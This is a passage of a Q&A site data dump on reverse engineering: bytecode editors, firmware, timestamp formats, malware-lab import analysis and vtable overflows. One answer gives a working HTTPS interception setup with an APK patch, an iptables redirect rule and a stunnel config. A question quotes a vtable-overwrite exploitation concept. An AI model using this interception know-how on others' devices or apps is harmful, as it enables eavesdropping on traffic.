decompiled source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this exist? If not, what's the closest thing I'm going to get to it?&lt;/p&gt;&#xA;" OwnerUserId="8141" LastActivityDate="2014-07-27T13:27:32.563" Title="GUI for transforming Java Bytecode based on decompiled source?" Tags="|disassembly|decompilation|java|byte-code|jar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5943" PostTypeId="2" ParentId="5941" CreationDate="2014-07-27T03:08:15.367" Score="6" Body="&lt;p&gt;Some tools you can use. However note that &lt;em&gt;none&lt;/em&gt; of them has the ability to recompile classes, i.e you cannot decompile a single class to source, modify it, and then recompile back. It may be possible using &lt;a href=&quot;http://docs.oracle.com/javase/tutorial/reflect/&quot;&gt;Reflection API&lt;/a&gt; but then you need to do a lot of modification on the decompiled source itself. Other ways may be to decompile the entire bunch of classes and then recompile all when done.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://classeditor.sourceforge.net/&quot;&gt;Class Editor&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is a tool to open Java class file binaries, view their internal&#xA;  structure, modify portions of it if required and save the class file&#xA;  back. It also generates readable reports similar to the javap utility.&#xA;  Easy to use Java Swing GUI. The user interface tries to display as&#xA;  much detail as possible and tries to present a structure as close as&#xA;  the actual Java class file structure. At the same time ease of use and&#xA;  class file consistency while doing modifications is also stressed. For&#xA;  example, when a method is deleted, the associated constant pool entry&#xA;  will also be deleted if it is no longer referenced. In built verifier&#xA;  checks changes before saving the file. This tool has been used by&#xA;  people learning Java class file internals. This tool has also been&#xA;  used to do quick modifications in class files when the source code is&#xA;  not available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://set.ee/jbe/&quot;&gt;JBE - Java Bytecode Editor&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;JBE is a bytecode editor suitable for viewing and modifying java class&#xA;  files. It is built on top of the open-source jclasslib bytecode viewer&#xA;  by ej-technologies. For verification and exporting the class files,&#xA;  JBE uses the the Bytecode Engineering Library by Apache's Jakarta&#xA;  project.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://bcel.sourceforge.net/cck.html&quot;&gt;Class Construction Kit&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Class Construction Kit is a tool for the visual creation or&#xA;  modification of Java class files. It is implemented using BCEL and&#xA;  Swing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://rejava.sourceforge.net/&quot;&gt;reJ&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The reJ project aims to allow improved visibility into Java class files, whether they were created compiling from Java&#xA;  sources, another language or by any other kind of tool. Basically&#xA;  anything that will run in a Java Virtual Machine.&#xA;  reJ is a library and a graphical tool for inspection (viewing,&#xA;  searching and comparing) and manipulation (modification, obfuscation,&#xA;  refactoring of methods, fields, attributes and code) of classfiles for&#xA;  the Java platform.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://forum.tuts4you.com/topic/34344-bceleditor-10/&quot;&gt;BcelEditor&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BcelEditor is a tool for the visual modification of Java class files.&#xA;  It is implemented using BCEL. &#xA;  &lt;br&gt;&lt;sub&gt;Note: You need to register on the site to get access&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://forum.tuts4you.com/topic/33703-methodbodyeditor-for-java/&quot;&gt;MethodBodyEditor for Java&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A Java class editor &lt;br&gt;&lt;sub&gt;Note: You need to register on the site to&#xA;  get access&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Other than this, some other generic java tools are available on &lt;a href=&quot;https://forum.tuts4you.com/&quot;&gt;tuts4you&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-27T03:35:58.677" LastActivityDate="2014-07-27T03:35:58.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5944" PostTypeId="2" ParentId="5941" CreationDate="2014-07-27T13:27:32.563" Score="4" Body="&lt;p&gt;You can try using javasnoop (&lt;a href=&quot;https://code.google.com/p/javasnoop/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/javasnoop/&lt;/a&gt;) to accomplish something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a tutorial for using it -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8143" LastActivityDate="2014-07-27T13:27:32.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5945" PostTypeId="1" AcceptedAnswerId="5964" CreationDate="2014-07-27T19:00:28.643" Score="10" ViewCount="2335" Body="&lt;p&gt;I'm planning to buy my first mechanical keyboard, a KBT Poker II, and apart from the physical characteristics of it, another thing that caught my attention is that it sports reflashable firmware! Reversing and hacking on the firmware would be a fun personal project. (Unfortunately, the flasher is windows-only... I'm not sure how to deal with that, but that's another question.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly though, when I tried poking around with the firmware files I couldn't make sense of it--I tried running a few Thumb disassemblers (as well as hacking up my own to learn more about Thumb) on parts of it that would seem to contain code (upon hexdump inspection), but they all came up with garbage instruction as far as a I could tell--certainly no function prologues/epilogues, and a lot of crazy immediates all over the place as well as absurd amounts of shifts and LDMs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some technical information on the hardware inside the keyboard: it's built around a &lt;a href=&quot;http://www.nuvoton.com/hq/products/microcontrollers/arm-cortex-m0-mcus/nuc120-122-123-220-usb-series/nuc122sc1an/&quot;&gt;Nuvoton NUC122SC1AN&lt;/a&gt;, which features a Cortex-M0 CPU.  The firmware files in question are supplied in an attachment to &lt;a href=&quot;http://geekhack.org/index.php?topic=50245.0&quot;&gt;this forum post&lt;/a&gt; (by the keyboard manufacturer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I &lt;em&gt;have&lt;/em&gt; found, however, is the interrupt table located at &lt;code&gt;$0000&lt;/code&gt;--its length exactly matches that of the one documented on ARM's website, including IRQs 0..31. However, another oddity here is that they all point to interrupts in the high memory--&lt;code&gt;$ffff_fff00&lt;/code&gt; and such.  This area isn't included in the memory map of the NUC122, and ARM's spec has it as &quot;reserved&quot;, but I'm guessing it might be mapped to some internal memory containing the chip-flashing-receiving code and such, and that the interrupts either trampoline to user (firmware) code or the table gets overwritten with interrupt handlers supplied by the firmware. Anyway, I'd probably be able to figure that out once I have some code to look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried binwalking the files, and it came up empty for all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, &lt;strong&gt;what I'm looking for&lt;/strong&gt; in an answer here is guidance to where I find the actual executable code in one of the firmware files above (supplied by the manufacturer itself, so there should be no legal isues here), because I'm really not getting it. I should add that I'm relatively new to the world of reversing.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8147" LastActivityDate="2014-11-02T23:12:13.013" Title="Finding the actual Thumb code in firmware" Tags="|disassembly|binary-analysis|firmware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5947" PostTypeId="1" CreationDate="2014-07-28T04:09:10.447" Score="6" ViewCount="209" Body="&lt;p&gt;I have an existing software, with no source and possible editing. It contains a grid (looks like an old DevExpress one, the software itself is created in Delphi 7). Grid content is stored in the memory, which I have to read and modify externally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've successfully decoded the structure, except for date+time fields. It's stored in 8 bytes. I've checked all common structures, such as &lt;code&gt;TDateTime&lt;/code&gt; as a double variable, &lt;code&gt;TTimeStamp&lt;/code&gt; as two integers, &lt;code&gt;TFileTime&lt;/code&gt;, Windows OLE, MySQL timestamp, other timestamps, but found nothing closely relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can input any data and check the result in the table, so I am sure data is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've provided examples of data times in bytes and the result in grid. Can test any other, if it helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00 00 00 00 43 - 04.03.17840 11:03:41&#xA;00 00 00 00 00 00 00 41 - &quot;0.131072 is not a valid timestamp&quot;&#xA;00 00 00 00 00 00 00 42 - 09.04.001 10:05:34&#xA;00 00 00 00 00 00 67 42 - 15.01.0026 16:33:02&#xA;00 00 00 00 00 00 CB 42 - 22.06.1882 18:24:59&#xA;00 00 00 00 00 00 CC 42 - 28.02.1952 10:12:35&#xA;00 00 00 00 00 E4 CC 42 - 22.03.2014 07:24:02&#xA;00 00 00 00 00 E5 CC 42 - 29.06.2014 17:29:37&#xA;00 00 00 00 3D E5 CC 42 - 23.07.2014 10:03:17&#xA;00 95 1E 7E 3D E5 CC 42 - 23.07.2014 14:38:48&#xA;00 87 F9 7C 3D E5 CC 42 - 23.07.2014 14:36:18&#xA;00 4C 99 57 38 E5 CC 42 - 21.07.2014 14:38:26&#xA;80 55 0C 2E 3E E4 CC 42 - 15.04.2014 10:57:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE 1:&#xA;Weird differnce in the years mentioned in the comment lead to a discovery, that date is not strictly linear to the elder bytes. I've tested this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 00 CA 42 - 16.10.1812&#xA;00 00 00 00   00 00 CB 42 - 22.06.1882&#xA;00 00 00 00   00 00 CC 42 - 28.02.1952&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference between values is ~70 years (~25452 days)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 00 BA 42 - 23.11.0906&#xA;00 00 00 00   00 00 BB 42 - 26.09.0941&#xA;00 00 00 00   00 00 BC 42 - 30.07.0976&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference is actually ~35 years (~12726 days)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up, here's the breakdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 00 BD 42 - 04.06.1011&#xA;00 00 00 00   00 00 BE 42 - 06.04.1046 (+35 years)&#xA;00 00 00 00   00 00 BF 42 - 07.02.1081 (+35 years)&#xA;...&#xA;00 00 00 00   00 00 C0 42 - 13.12.1115 (+35 years)&#xA;00 00 00 00   00 00 C1 42 - 19.08.1185 (+70 years)&#xA;00 00 00 00   00 00 C2 42 - 25.04.1255 (+70 years)&#xA;...&#xA;00 00 00 00   00 00 C8 42 - 02.06.1673 (+70 years)&#xA;00 00 00 00   00 00 C9 42 - 08.02.1743 (+70 years)&#xA;00 00 00 00   00 00 CA 42 - 16.10.1812 (+70 years)&#xA;...&#xA;00 00 00 00   00 00 CE 42 - 11.07.2091 (+70 years)&#xA;00 00 00 00   00 00 CF 42 - 18.03.2161 (+70 years)&#xA;...&#xA;00 00 00 00   00 00 D0 42 - 24.11.2230 (+70 years)&#xA;00 00 00 00   00 00 D1 42 - 07.04.2370 (+140 years)&#xA;00 00 00 00   00 00 D2 42 - 19.08.2509 (+140 years)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like the elder bits is rather some coeff, not the date directly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested lesser bits, they seem to behave more logically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 00 CC 42 - 28.02.1952&#xA;00 00 00 00   00 01 CC 42 - 06.06.1952&#xA;00 00 00 00   00 02 CC 42 - 14.09.1952&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;~100 days&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 CC CC 42 - 09.09.2007&#xA;00 00 00 00   00 CD CC 42 - 17.12.2007&#xA;00 00 00 00   00 CE CC 42 - 26.03.2008&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;~100 days&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 FC CC 42 - 02.10.2020&#xA;00 00 00 00   00 FD CC 42 - 09.01.2021&#xA;00 00 00 00   00 FE CC 42 - 19.04.2021&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;~100 days&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for the fourth byte:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   00 CC CC 42 - 09.09.2007 05:10:12&#xA;00 00 00 00   01 CC CC 42 - 09.09.2007 14:29:26&#xA;00 00 00 00   02 CC CC 42 - 09.09.2007 23:48:26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;~9 hours&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00   CC CC CC 42 - 27.11.2007 10:35:16&#xA;00 00 00 00   CD CC CC 42 - 27.11.2007 19:54:30&#xA;00 00 00 00   CE CC CC 42 - 28.11.2007 05:13:45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;~9 hours&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the question on the breakdown of +1m, +1h, etc.&#xA;It's much harder to test, since I cannot input the random date and get its code, only the opposite. &#xA;But I can add the value manually, and test its internal structure. &#xA;Here's what I managed to grab today:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 90 D2 80   4A E5 CC 42 - 28.07.2014 15:54:50&#xA;00 E3 D4 80   4A E5 CC 42 - 28.07.2014 15:54:51&#xA;&#xA;80 5D 48 81   4A E5 CC 42 - 28.07.2014 15:55:50&#xA;80 5A 4B 81   4A E5 CC 42 - 28.07.2014 15:55:51&#xA;&#xA;80 D4 49 9C   4A E5 CC 42 - 28.07.2014 16:54:50&#xA;00 8C 4C 9C   4A E5 CC 42 - 28.07.2014 16:54:51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8153" LastEditorUserId="8153" LastEditDate="2014-07-28T11:03:48.587" LastActivityDate="2014-08-17T07:38:19.507" Title="What time structure is this?" Tags="|digital-forensics|binary-format|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5948" PostTypeId="1" AcceptedAnswerId="5951" CreationDate="2014-07-28T05:30:06.883" Score="1" ViewCount="3070" Body="&lt;p&gt;I want to reverse engineer an application using HTTPS to communicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a tool that performs a man in the middle attack and send it's own SSL certificate to the application, so I can decrypt the HTTPS connection it makes by passing the RSA private key to WireShark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I have heard about a tool called &lt;a href=&quot;https://www.stunnel.org/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stunnel&lt;/code&gt;&lt;/a&gt;, but the documentations  I found about how to configure it just confused me. :|&lt;/p&gt;&#xA;" OwnerUserId="4148" LastEditorUserId="53" LastEditDate="2014-07-28T07:21:15.957" LastActivityDate="2014-08-10T20:42:18.080" Title="Using Stunnel to packet capture HTTPS connection" Tags="|sniffing|wireshark|https-protocol|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5949" PostTypeId="1" AcceptedAnswerId="5950" CreationDate="2014-07-28T05:37:13.850" Score="2" ViewCount="5697" Body="&lt;p&gt;I want to know how to find the functions which is interesting in malware tools.&#xA;For example, I have a sample of unknown virus (this sample is &lt;code&gt;lab01-01.exe&lt;/code&gt; in the book practical malware analysis &lt;code&gt;lab1-01.dll&lt;/code&gt;). It is not packed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am supposed to find out what does this malware by knowing the imported DLLs and the functions it uses. Here are the imported functions in the executable file &lt;code&gt;lab01-01.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;KERNEL32.dll :&#xA;CloseHandle&#xA;UnmapViewOfFile&#xA;IsBadReadPtr&#xA;MapViewOfFile&#xA;CreateFileMappingA&#xA;CreateFileA&#xA;FindClose&#xA;FindNextFileA&#xA;FindFirstFileA&#xA;CopyFileA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And from &lt;code&gt;MSVCRT.dll&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_getmainards&#xA;_p_initenv&#xA;_p_commode&#xA;_p_fmode&#xA;_set_apps_typr&#xA;_setusermatherr&#xA;_adjust_fdiv&#xA;_controlfp&#xA;_except_handler3&#xA;_exit&#xA;_initterm&#xA;_stricmp&#xA;_XcptFilter&#xA;exit&#xA;malloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I didn't find any function imported from &lt;code&gt;lab01-01.dll&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to know why, although the book mentioned that both the executable file and DLL are related (it should be imported).&lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="53" LastEditDate="2014-07-28T07:18:05.747" LastActivityDate="2014-07-28T15:54:28.060" Title="How to figure out which imported function(s) in a virus determine its behaviour?" Tags="|windows|malware|static-analysis|dll|pe|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5950" PostTypeId="2" ParentId="5949" CreationDate="2014-07-28T07:34:02.897" Score="2" Body="&lt;p&gt;Dlls can not only be imported statically but also dynamically. For the dynamic case, it uses &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;LoadLibrary&lt;/code&gt;&lt;/a&gt; to load the dll, and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GetProcAddress&lt;/code&gt;&lt;/a&gt; to resolve the address of the function it needs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the dlls are imported statically, then a simple dependency walking will give you information about each dll its imports and also the function within each of them it uses. This information is actually present in the PE header which a tool like &lt;em&gt;dependency walker&lt;/em&gt; shows you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the dll is imported dynamically, then walking through the imports will not give you any idea about the dlls and functions it uses. In such a case, debug the application (if possible). Set a breakpoint on &lt;code&gt;kernel32.LoadLibraryA&lt;/code&gt; / &lt;code&gt;kernel32.LoadLibraryW&lt;/code&gt; or even the undocumented &lt;code&gt;ntdll.LdrLoadDll&lt;/code&gt; and run the app. When the breakpoint is hit you immediately know which dll it is trying to import. Similarly setting a breakpoint on &lt;code&gt;GetProcAddress&lt;/code&gt; will reveal the function the application wants to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about the simplest case here. You may encounter malware which bypasses the LoadLibrary mechanism totally, by implementing its own PE loader. See &lt;em&gt;&lt;a href=&quot;http://www.joachim-bauch.de/tutorials/loading-a-dll-from-memory/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;&lt;/em&gt; page for such an example. Similarly &lt;code&gt;GetProcAddress&lt;/code&gt; can be bypassed too, by manually parsing the import tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://books.google.co.uk/books?id=FQC8EPYy834C&amp;amp;lpg=PP1&amp;amp;dq=practical%20malware%20analysis&amp;amp;pg=PA453#v=twopage&amp;amp;q&amp;amp;f=true&quot; rel=&quot;nofollow&quot;&gt;This chapter&lt;/a&gt; from the book &lt;em&gt;Practical Malware Analysis&lt;/em&gt;  gives you a list of some important Windows API functions which can be used to get some insight into the workings of a malware.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-28T07:59:55.513" LastActivityDate="2014-07-28T07:59:55.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5951" PostTypeId="2" ParentId="5948" CreationDate="2014-07-28T08:52:55.890" Score="2" Body="&lt;p&gt;If you can make the application use a proxy, check &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;nofollow&quot;&gt;Fiddler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used stunnel recently to do the same with an android application - used the &lt;a href=&quot;http://code.google.com/p/dex2jar&quot; rel=&quot;nofollow&quot;&gt;dextojar&lt;/a&gt; suite to take the application apart, replace the &lt;a href=&quot;https://game.server.com&quot; rel=&quot;nofollow&quot;&gt;https://game.server.com&lt;/a&gt; URL with a &lt;a href=&quot;http://game.server.com&quot; rel=&quot;nofollow&quot;&gt;http://game.server.com&lt;/a&gt; URL in the .dex file, re-create the .dex checksum, re-create and sign the apk, install the apk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this iptables entry on my router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.178.100 -d game.server.com --dport 80 -j DNAT --to 192.168.2.2:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 192.168.178.100 is my android device, and 192.168.2.2 is where i run the stunnel. (Alternativeely, you can probably fiddle with the DNS entries/hosts file of your client to make game.server.com == 192.168.2.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use this stunnel.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[game]&#xA;client = yes&#xA;accept = 80&#xA;connect=game.server.com:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could possibly use stunnel if you set up two tunnels if you can't patch the client - one stunnel https server to connect your client to, which forwards to an stunnel http server, which forwards to the real https server, but i've never done that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third possibilty is &lt;a href=&quot;http://mitmproxy.org/&quot; rel=&quot;nofollow&quot;&gt;mitmproxy&lt;/a&gt;, which might be even closer to what you need. I gave up on getting it to work on my Centos 5 system, but if you have a newer linux, it might be the easiest way to get what you want.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-07-28T08:52:55.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5952" PostTypeId="2" ParentId="5947" CreationDate="2014-07-28T09:00:31.210" Score="1" Body="&lt;p&gt;Not looking at the first three plus &lt;code&gt;28.02.1952 10:12:35&lt;/code&gt;, &lt;code&gt;29.06.2014 17:29:37&lt;/code&gt;, &lt;code&gt;15.04.2014 10:57:32&lt;/code&gt; lines, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value on the right is in 1/128000 seconds, with an offset to UNIX timestamps of 4805619185047532800 seconds. So, we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yourtime =  4805619185047532800 +128000 * unixtime&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does not look familiar though, that would mean &lt;code&gt;t=0&lt;/code&gt; -&gt; 1187749 BC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leave off the &lt;code&gt;0x42&lt;/code&gt;  then &lt;code&gt;t=0&lt;/code&gt; would be 10363 BC, still not a familiar number.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="53" LastEditDate="2014-07-28T11:37:34.797" LastActivityDate="2014-07-28T11:37:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5953" PostTypeId="2" ParentId="5949" CreationDate="2014-07-28T09:08:25.727" Score="2" Body="&lt;p&gt;Extreme Coders has provided a good answer about the IAT (Import Address Table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is so abroad I was originally not going to answer but I'll try quickly summarise the sort of tools and things you'll want to look for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, let me tell you what any imported or exported function can't really say it's used primary malware. For example, DeleteFile can be used to delete important files is considered as malware but the actual API itself can be used for common non-related malware operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what APIs are actually been executed you'll want to use something like:&#xA;&lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;http://www.rohitab.com/apimonitor&lt;/a&gt; this will give you much better graphical presentation and lists all the function parameters for that known API too. So more rich data to work with. As looking at long list is too overwhelming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have found the APIs which look suspicious then you can get into a debugger and start investigating the usage of the API which comes a complexed field. You'll have to know how to software is expected to work for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a text editor just a simple notepad program you have downloaded.&#xA;You'll just review APIs for unusual activity such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you see network actvity on a simple text editor - Why does it need networking? Is it malicious related or just an auto patcher for self updating?&lt;/li&gt;&#xA;&lt;li&gt;If you see process modification external or internal - Why is it doing this? Review the related APIs to memory modifying &lt;code&gt;WriteProcessMemory&lt;/code&gt; or lower level API is &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Though really you can't rely on just checking APIs as you can use &lt;code&gt;syscall&lt;/code&gt; directly which would bypass any listed APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To determine malware you'll want to use things such as:&#xA;&lt;a href=&quot;http://camas.comodo.com/&quot; rel=&quot;nofollow&quot;&gt;http://camas.comodo.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to get yourself varies tools such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Virtual Machine (VMWare, Virtual PC or something similar). As you don't want to get your host machine infected with malware, do you? Though, do note that complexed malware can break out of virtual machines!&lt;/li&gt;&#xA;&lt;li&gt;Snapshot software to compare before and after execution of file system and registry. There is a good one developed by Microsoft. I'll dig it up for you when I'm at home. So, take snapshot before you run the application and after.&lt;/li&gt;&#xA;&lt;li&gt;Get yourself a debugger such as IDA PRO (ideally but very expensive) otherwise OllyDbg is my next favourite debugger.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe I am getting off-topic? Anyway, I hope this information was useful. If so, I'll expand my answer.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-07-28T09:08:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostTypeId="1" AcceptedAnswerId="5957" CreationDate="2014-07-28T12:26:34.920" Score="9" ViewCount="11016" Body="&lt;p&gt;Actually, I am trying to learn a little about vtable overflows. So, my learning documents state the following: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The main point to realize is that whenever we declare a C++  class&#xA;  with virtual methods, the pool of memory where it exists (the heap,&#xA;  the stack, etc.) now contains a pointer to a function pointer table&#xA;  which will eventually be used to call the function. In the event of an&#xA;  overflow, we can overwrite this pointer value so that our code will be&#xA;  called the next time a virtual method is called.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, my question is, how do I find the location of the vtable pointer ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, do I have to search through PEB like when I am trying to find the base address from some modules. Or, is this specific for each situation ?&lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="53" LastEditDate="2014-07-28T13:50:22.427" LastActivityDate="2014-07-28T13:52:34.013" Title="How to find the location of the vtable?" Tags="|debuggers|c++|vtables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
